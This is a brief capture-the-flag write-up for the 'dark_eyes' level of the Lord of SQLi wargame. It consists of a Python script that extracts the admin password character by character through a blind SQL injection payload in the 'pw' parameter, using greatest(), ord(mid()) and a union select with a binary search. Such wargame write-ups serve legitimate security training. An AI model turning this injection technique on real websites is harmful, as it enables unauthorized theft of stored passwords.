LOS :: 22번 DARK_EYES

WRITE UP

import requests
 
url = "http://los.rubiya.kr/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,9):
    a=0
    b=100000
    while b-a!=0:
        center = a+(b-a)//2
        data['pw'] = "'||id='admin'&&(select greatest("+str(center)
                   +",ord(mid(pw,"+str(i)+",1))) union select "+str(center)+")#"
        res = requests.get(url, params=data, cookies=session)
        if "query" in res.text:
            b=center
        else:
            a=center+1
            
    print(chr(a),end='')
    flag = flag + chr(a)
 
   
data['pw']=flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("\n[♪] DARK_EYES Clear!")